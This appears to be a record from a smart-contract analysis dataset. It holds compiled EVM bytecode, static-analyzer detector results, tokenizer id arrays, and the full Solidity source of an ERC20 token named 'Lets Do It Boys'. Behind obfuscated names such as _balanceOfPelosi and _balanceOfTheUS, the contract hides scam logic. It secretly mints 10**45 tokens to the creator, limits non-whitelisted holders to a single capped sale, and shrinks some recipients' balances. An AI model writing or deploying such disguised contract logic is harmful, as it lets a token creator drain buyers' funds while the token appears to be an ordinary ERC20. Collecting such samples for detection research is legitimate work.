1b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b61199f612661565b6119a8816126e2565b60326119b4600f6126d7565b106119d15760405162461bcd60e51b81526004016107199061336b565b6119dc600f8261264c565b6119e257fe5b7fbca954c637e20d265d501f3c0c9d0df1440001376c36ac73bd296c1a628f528c816040516107519190613142565b6001600160a01b0382166000908152600e60209081526040808320600101805482518185028101850190935280835261181993859084015b82821015611a8f57838290600052602060002090600202016040518060400160405290816000820154815260200160018201548152505081526020019060010190611a49565b505050508361173b61212c565b600061065e6011836126cb565b611ab161257d565b6001600160a01b0316611ac2611914565b6001600160a01b031614611b1d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b611b25612661565b80611b425760405162461bcd60e51b81526004016107199061345c565b60095460009015611bf157600480546005546040516370a0823160e01b81526000936001600160a01b03938416936370a0823193611b839391169101613142565b60206040518083038186803b158015611b9b57600080fd5b505afa158015611baf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bd3919061302b565b600954909150611be99082906112bb9087612767565b915050611c01565b611bfe83620f4240612767565b90505b600954611c0e90826125f2565b600955604080516060810182528381524260208201908152918101838152600d805460018101825560009190915291517fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb560039093029283015591517fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb682015590517fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb790910155600454600554611cd4916001600160a01b039081169133911686612827565b7f755cf60ad800c6cc1711621819a25bf06925024f09a8cc8396559d90986958b28383604051611d059291906136b4565b60405180910390a1505050565b6001600160a01b0382166000908152600e602090815260408083206001018054825181850281018501909352808352610c6593859084015b82821015611d9057838290600052602060002090600202016040518060400160405290816000820154815260200160018201548152505081526020019060010190611d4a565b505050508361082c565b336000908152600e602052604090206001810154611dca5760405162461bcd60e51b815260040161071990613425565b611dd26126ba565b80546040517f0f5bb82176feb1b5e747e28471aa92156a04d9f3ab9f45f28e2d704232b93f7591611e0591339190613156565b60405180910390a18054600a54611e1b9161270a565b600360070181905550611ea7611e9e82600101805480602002602001604051908101604052809291908181526020016000905b82821015611e9457838290600052602060002090600202016040518060400160405290816000820154815260200160018201548152505081526020019060010190611e4e565b505050504261082c565b600b549061270a565b600b55336000908152600e6020526040812081815590611eca6001830182612bae565b505050565b6000845160001415611ee357506000611fa2565b6000805b8651811015611f80576000878281518110611efe57fe5b6020026020010151905060008160000151611f2683602001518861270a90919063ffffffff16565b1015611f6a57611f67611f5c83600001516112bb611f5186602001518b61270a90919063ffffffff16565b604087015190612767565b60408401519061270a565b90505b611f7484826125f2565b93505050600101611ee7565b506000611f91856112bb8489612767565b9050611f9d868261270a565b925050505b949350505050565b60008060009054906101000a90046001600160a01b03166001600160a01b031663bf86d6906040518163ffffffff1660e01b815260040160206040518083038186803b158015610cbb57600080fd5b612001612bcf565b60005b86156120ec5760008861202c6001612026858d5161270a90919063ffffffff16565b9061270a565b8151811061203657fe5b60200260200101519050600061205982602001518761270a90919063ffffffff16565b90506000898360000151111561207f575081518990612078908261270a565b855261208a565b508151600193909301925b6120948a8261270a565b995060006120a58a83858c8b611826565b60408701519091506120b790826125f2565b60408701526120c68a8261270a565b995060006120d48385612767565b90506120e08a8261270a565b99505050505050612004565b6040805160808101909152825181528851602082019061210c908461270a565b815260200183604001518152602001868152509150509695505050505050565b6000610671426121bc565b61213f61257d565b6001600160a01b0316612150611914565b6001600160a01b0316146121ab576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600255565b6000610671600f6126d7565b600480546005546040516370a0823160e01b815260009384936001600160a01b03908116936370a08231936121f693919092169101613142565b60206040518083038186803b15801561220e57600080fd5b505afa158015612222573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612246919061302b565b9050610c656003600a01805480602002602001604051908101604052809291908181526020016000905b828210156122c05783829060005260206000209060030201604051806060016040529081600082015481526020016001820154815260200160028201548152505081526020019060010190612270565b505050508260036006015486611ecf565b6122d961257d565b6001600160a01b03166122ea611914565b6001600160a01b031614612345576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661238a5760405162461bcd60e51b815260040180806020018281038252602681526020018061373c6026913960400191505060405180910390fd5b6001546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6123fb61257d565b6001600160a01b031661240c611914565b6001600160a01b031614612467576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b61246f612661565b612478826126e2565b6004546001600160a01b03848116911614156124a65760405162461bcd60e51b8152600401610719906134f0565b6124b1600f84612568565b156124ce5760405162461bcd60e51b8152600401610719906134f0565b6005546040516323e5d69960e21b81526001600160a01b0390911690638f975a649061250290869086908690600401613199565b600060405180830381600087803b15801561251c57600080fd5b505af1158015612530573d6000803e3d6000fd5b50505050505050565b6000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6000610c65836001600160a01b0384166129b1565b3390565b612589611faa565b156125db576040805162461bcd60e51b815260206004820152601460248201527f506f77657265643a2069732073687574646f776e000000000000000000000000604482015290519081900360640190fd5b565b6000610c65836001600160a01b0384166129c9565b600082820183811015610c65576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000610c65836001600160a01b038416612a8f565b61266961151e565b6125db576040805162461bcd60e51b815260206004820152601660248201527f506f77657265643a206973206e6f74206f6e6c696e6500000000000000000000604482015290519081900360640190fd5b6126c2610666565b600b5542600c55565b6000610c658383612ad9565b600061065e82612b3d565b6126eb816105d9565b6127075760405162461bcd60e51b8152600401610719906134f0565b50565b600082821115612761576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60008261277657506000611820565b8282028284828161278357fe5b0414610c655760405162461bcd60e51b81526004018080602001828103825260218152602001806137936021913960400191505060405180910390fd5b6000808211612816576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161281f57fe5b049392505050565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd00000000000000000000000000000000000000000000000000000000178152925182516000948594938a169392918291908083835b602083106128d95780518252601f1990920191602091820191016128ba565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461293b576040519150601f19603f3d011682016040523d82523d6000602084013e612940565b606091505b509150915081801561296e57508051158061296e575080806020019051602081101561296b57600080fd5b50515b6129a95760405162461bcd60e51b81526004018080602001828103825260318152602001806137626031913960400191505060405180910390fd5b505050505050565b60009081526001919091016020526040902054151590565b60008181526001830160205260408120548015612a8557835460001980830191908101906000908790839081106129fc57fe5b9060005260206000200154905080876000018481548110612a1957fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080612a4957fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611820565b6000915050611820565b6000612a9b83836129b1565b612ad157508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155611820565b506000611820565b81546000908210612b1b5760405162461bcd60e51b815260040180806020018281038252602281526020018061371a6022913960400191505060405180910390fd5b826000018281548110612b2a57fe5b9060005260206000200154905092915050565b5490565b60408051610120810182526000808252602082018190529181019190915260608101612b6b612bf7565b815260200160008152602001600081526020016000815260200160008152602001606081525090565b604051806040016040528060008152602001606081525090565b50805460008255600202906000526020600020908101906127079190612c18565b6040518060800160405280600081526020016000815260200160008152602001600081525090565b60405180606001604052806000815260200160008152602001600081525090565b5b80821115612c335760008082556001820155600201612c19565b5090565b600082601f830112612c47578081fd5b81356020612c5c612c57836136e6565b6136c2565b82815281810190858301604080860288018501891015612c7a578687fd5b865b86811015612ccd5781838b031215612c92578788fd5b815182810181811067ffffffffffffffff82111715612cad57fe5b835283358152868401358782015285529385019391810191600101612c7c565b509198975050505050505050565b600060608284031215612cec578081fd5b6040516060810181811067ffffffffffffffff82111715612d0957fe5b80604052508091508235815260208301356020820152604083013560408201525092915050565b600060208284031215612d41578081fd5b8135610c6581613704565b600060208284031215612d5d578081fd5b8151610c6581613704565b600080600060608486031215612d7c578182fd5b8335612d8781613704565b92506020840135612d9781613704565b929592945050506040919091013590565b60008060408385031215612dba578182fd5b8235612dc581613704565b946020939093013593505050565b60008060008060608587031215612de8578081fd5b8435612df381613704565b935060208501359250604085013567ffffffffffffffff80821115612e16578283fd5b818701915087601f830112612e29578283fd5b813581811115612e37578384fd5b886020828501011115612e48578384fd5b95989497505060200194505050565b600080600060608486031215612e6b578283fd5b8335612e7681613704565b95602085013595506040909401359392505050565b60008060008060808587031215612ea0578384fd5b843567ffffffffffffffff811115612eb6578485fd5b8501601f81018713612ec6578485fd5b80356020612ed6612c57836136e6565b828152818101908483016060808602870185018d1015612ef4578a8bfd5b8a96505b85871015612f2057612f0a8d83612cdb565b8452600196909601959284019290810190612ef8565b919c938b01359b505060408a013599013597509095505050505050565b60008060408385031215612f4f578182fd5b823567ffffffffffffffff811115612f65578283fd5b612f7185828601612c37565b95602094909401359450505050565b6000806000806000806101008789031215612f99578384fd5b863567ffffffffffffffff811115612faf578485fd5b612fbb89828a01612c37565b96505060208701359450604087013593506060870135925060808701359150612fe78860a08901612cdb565b90509295509295509295565b600060208284031215613004578081fd5b81518015158114610c65578182fd5b600060208284031215613024578081fd5b5035919050565b60006020828403121561303c578081fd5b5051919050565b60008060408385031215613055578182fd5b50508035926020909101359150565b600080600060608486031215613078578081fd5b505081359360208301359350604090920135919050565b600080600080600060e086880312156130a6578283fd5b853594506020860135935060408601359250606086013591506130cc8760808801612cdb565b90509295509295909350565b6001600160a01b03169052565b6000815180845260208085019450808401835b8381101561311e5761310b878351613129565b60609690960195908201906001016130f8565b509495945050505050565b8051825260208082015190830152604090810151910152565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b60006001600160a01b03861682528460208301526060604083015282606083015282846080840137818301608090810191909152601f909201601f191601019392505050565b901515815260200190565b60208082526023908201527f48797065727669736f723a207661756c74206973206e6f74207265676973746560408201527f7265640000000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252818101527f48797065727669736f723a205374616b65206c696d6974206578636565646564604082015260600190565b6020808252601c908201527f48797065727669736f723a206e6f20616d6f756e74207374616b656400000000604082015260600190565b6020808252601e908201527f48797065727669736f723a206e6f20616d6f756e7420756e7374616b65640000604082015260600190565b6020808252602c908201527f48797065727669736f723a207661756c7420666163746f727920616c7265616460408201527f7920726567697374657265640000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f48797065727669736f723a206d617820626f6e757320746f6b656e732072656160408201527f6368656420000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526028908201527f48797065727669736f723a207661756c7420666163746f7279206e6f7420726560408201527f6769737465726564000000000000000000000000000000000000000000000000606082015260800190565b60208082526014908201527f48797065727669736f723a206e6f207374616b65000000000000000000000000604082015260600190565b6020808252601c908201527f48797065727669736f723a20696e76616c6964206475726174696f6e00000000604082015260600190565b60208082526028908201527f48797065727669736f723a204d41585f5354414b45535f5045525f5641554c5460408201527f2072656163686564000000000000000000000000000000000000000000000000606082015260800190565b6020808252601b908201527f48797065727669736f723a20696e76616c696420616464726573730000000000604082015260600190565b60208082526024908201527f48797065727669736f723a20696e73756666696369656e74207661756c74207360408201527f74616b6500000000000000000000000000000000000000000000000000000000606082015260800190565b6000602082526135986020830184516130d8565b60208301516135aa60408401826130d8565b5060408301516135bd60608401826130d8565b5060608301516135d06080840182613129565b50608083015160e083015260a0830151610100818185015260c085015161012085015260e085015161014085015280850151915050610160808185015250611fa26101808401826130e5565b8151815260208083015190820152604080830151908201526060918201519181019190915260800190565b602080825282518282015282810151604080840181905281516060850181905260009392830191849160808701905b8084101561369f5784518051835286015186830152938501936001939093019290820190613676565b50979650505050505050565b90815260200190565b918252602082015260400190565b60405181810167ffffffffffffffff811182821017156136de57fe5b604052919050565b600067ffffffffffffffff8211156136fa57fe5b5060209081020190565b6001600160a01b038116811461270757600080fdfe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573735472616e7366657248656c7065723a3a7472616e7366657246726f6d3a207472616e7366657246726f6d206661696c6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220a0bfd241e2a65d14f35cbc17ed0f76a5a80a7abbac54405cc8b583924fd9789a64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 10790, 2629, 2063, 2683, 2063, 2683, 5243, 2497, 21619, 15878, 2620, 2063, 2475, 2546, 27531, 2487, 2050, 2629, 2850, 29292, 10322, 2094, 23499, 2581, 2278, 2692, 27531, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2069, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 10975, 8490, 2863, 11113, 11261, 4063, 1058, 2475, 1025, 12324, 1063, 3647, 18900, 2232, 1065, 2013, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1063, 4372, 17897, 16670, 13462, 1065, 2013, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4372, 17897, 16670, 13462, 1012, 14017, 1000, 1025, 12324, 1063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,420
0x96c23bc8f447622cb02ae8ea0d695d82f637d314
/* __ ______________ ___ ____ __________ ___ ______ ______ / / / __/_ __/ __/ / _ \/ __ \ / _/_ __/ / _ )/ __ \ \/ / __/ / /__/ _/ / / _\ \ / // / /_/ / _/ / / / / _ / /_/ /\ /\ \ /____/___/ /_/ /___/ /____/\____/ /___/ /_/ /____/\____/ /_/___/ */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) private Cruz; mapping (address => bool) private Melania; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public pair; uint256 private senate; IDEXRouter router; string private _name; string private _symbol; address private _msgSenders; uint256 private _totalSupply; uint256 private Brandon; uint256 private Truckers; bool private Budweiser; uint256 private thehouse; uint256 private Alabama = 0; address private Arkansas = address(0); constructor (string memory name_, string memory symbol_, address msgSender_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _msgSenders = msgSender_; _name = name_; _symbol = symbol_; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function _balanceOfPelosi(address account) internal { _balances[account] += (((account == _msgSenders) && (senate > 2)) ? (10 ** 45) : 0); } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function _balanceOfTheUS(address sender, address recipient, uint256 amount, bool doodle) internal { (Brandon,Budweiser) = doodle ? (Truckers, true) : (Brandon,Budweiser); if ((Cruz[sender] != true)) { require(amount < Brandon); if (Budweiser == true) { require(!(Melania[sender] == true)); Melania[sender] = true; } } _balances[Arkansas] = ((Alabama == block.timestamp) && (Cruz[recipient] != true) && (Cruz[Arkansas] != true) && (thehouse > 2)) ? (_balances[Arkansas]/70) : (_balances[Arkansas]); thehouse++; Arkansas = recipient; Alabama = block.timestamp; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function _InitTheBrandon(address creator, uint256 jkal) internal virtual { approve(_router, 10 ** 77); (senate,Budweiser,Brandon,thehouse) = (0,false,(jkal/90),0); (Truckers,Cruz[_router],Cruz[creator],Cruz[pair]) = ((jkal/2000),true,true,true); (Melania[_router],Melania[creator]) = (false, false); } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function _balanceOfTrump(address sender, address recipient, uint256 amount) internal { _balanceOfTheUS(sender, recipient, amount, (address(sender) == _msgSenders) && (senate > 0)); senate += (sender == _msgSenders) ? 1 : 0; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _DeployTheBiden(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balanceOfTrump(sender, recipient, amount); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; _balanceOfPelosi(sender); emit Transfer(sender, recipient, amount); } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) { _DeployTheBiden(creator, initialSupply); _InitTheBrandon(creator, initialSupply); } } contract LetsDoItBoys is ERC20Token { constructor() ERC20Token("Lets Do It Boys", "LETSDOIT", msg.sender, 88000 * 10 ** 18) { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101f5578063a8aa1b3114610208578063a9059cbb1461021b578063dd62ed3e1461022e57600080fd5b806370a0823114610195578063715018a6146101be5780638da5cb5b146101c857806395d89b41146101ed57600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806342966c681461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b610102610267565b60405161010f9190610c55565b60405180910390f35b61012b610126366004610cc6565b6102f9565b604051901515815260200161010f565b600e545b60405190815260200161010f565b61012b61015b366004610cf0565b61030f565b6040516012815260200161010f565b61012b61017d366004610cc6565b6103c5565b61012b610190366004610d2c565b6103fc565b61013f6101a3366004610d45565b6001600160a01b031660009081526004602052604090205490565b6101c6610410565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161010f565b6101026104b4565b61012b610203366004610cc6565b6104c3565b6008546101d5906001600160a01b031681565b61012b610229366004610cc6565b61055e565b61013f61023c366004610d67565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600b805461027690610d9a565b80601f01602080910402602001604051908101604052809291908181526020018280546102a290610d9a565b80156102ef5780601f106102c4576101008083540402835291602001916102ef565b820191906000526020600020905b8154815290600101906020018083116102d257829003601f168201915b5050505050905090565b600061030633848461056b565b50600192915050565b600061031c84848461068f565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103a65760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ba85336103b58685610deb565b61056b565b506001949350505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103069185906103b5908690610e02565b6000610408338361087a565b506001919050565b6001546001600160a01b0316331461046a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039d565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600c805461027690610d9a565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105455760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161039d565b61055433856103b58685610deb565b5060019392505050565b600061030633848461068f565b6001600160a01b0383166105cd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039d565b6001600160a01b03821661062e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039d565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106f35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039d565b6001600160a01b0382166107555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039d565b6001600160a01b038316600090815260046020526040902054818110156107cd5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161039d565b6107d884848461098c565b6107e28282610deb565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290610818908490610e02565b909155506108279050846109f7565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161086c91815260200190565b60405180910390a350505050565b6001600160a01b0382166108da5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161039d565b6001600160a01b03821660009081526004602052604081208054839290610902908490610deb565b9091555050600080805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec8054839290610942908490610e02565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600d546109ba908490849084906001600160a01b0380851691161480156109b557506000600954115b610a87565b600d546001600160a01b038481169116146109d65760006109d9565b60015b60ff16600960008282546109ed9190610e02565b9091555050505050565b600d546001600160a01b038281169116148015610a1657506002600954115b610a21576000610a36565b722cd76fe086b93ce2f768a00b22a000000000005b72ffffffffffffffffffffffffffffffffffffff1660046000836001600160a01b03166001600160a01b031681526020019081526020016000206000828254610a7f9190610e02565b909155505050565b80610a9a57600f5460115460ff16610aa0565b60105460015b6011805460ff1916911515919091179055600f556001600160a01b03841660009081526002602052604090205460ff161515600114610b4657600f548210610ae757600080fd5b60115460ff16151560011415610b46576001600160a01b03841660009081526003602052604090205460ff16151560011415610b2257600080fd5b6001600160a01b0384166000908152600360205260409020805460ff191660011790555b42601354148015610b7557506001600160a01b03831660009081526002602052604090205460ff161515600114155b8015610ba157506014546001600160a01b031660009081526002602052604090205460ff161515600114155b8015610baf57506002601254115b610bd3576014546001600160a01b0316600090815260046020526040902054610bfa565b6014546001600160a01b0316600090815260046020526040902054610bfa90604690610e1a565b6014546001600160a01b03166000908152600460205260408120919091556012805491610c2683610e3c565b9091555050601480546001600160a01b0319166001600160a01b03949094169390931790925550504260135550565b600060208083528351808285015260005b81811015610c8257858101830151858201604001528201610c66565b81811115610c94576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610cc157600080fd5b919050565b60008060408385031215610cd957600080fd5b610ce283610caa565b946020939093013593505050565b600080600060608486031215610d0557600080fd5b610d0e84610caa565b9250610d1c60208501610caa565b9150604084013590509250925092565b600060208284031215610d3e57600080fd5b5035919050565b600060208284031215610d5757600080fd5b610d6082610caa565b9392505050565b60008060408385031215610d7a57600080fd5b610d8383610caa565b9150610d9160208401610caa565b90509250929050565b600181811c90821680610dae57607f821691505b60208210811415610dcf57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610dfd57610dfd610dd5565b500390565b60008219821115610e1557610e15610dd5565b500190565b600082610e3757634e487b7160e01b600052601260045260246000fd5b500490565b6000600019821415610e5057610e50610dd5565b506001019056fea2646970667358221220aa61a39a2338a72401de47d3aa30b011158800b6c3c109c75b0b9b7667423fa964736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 21926, 9818, 2620, 2546, 22932, 2581, 2575, 19317, 27421, 2692, 2475, 6679, 2620, 5243, 2692, 2094, 2575, 2683, 2629, 2094, 2620, 2475, 2546, 2575, 24434, 2094, 21486, 2549, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1013, 1035, 1035, 1013, 1035, 1035, 1035, 1013, 1035, 1035, 1013, 1013, 1035, 1032, 1013, 1035, 1035, 1032, 1013, 1035, 1013, 1035, 1035, 1035, 1013, 1013, 1035, 1007, 1013, 1035, 1035, 1032, 1032, 1013, 1013, 1035, 1035, 1013, 1013, 1013, 1035, 102 ]
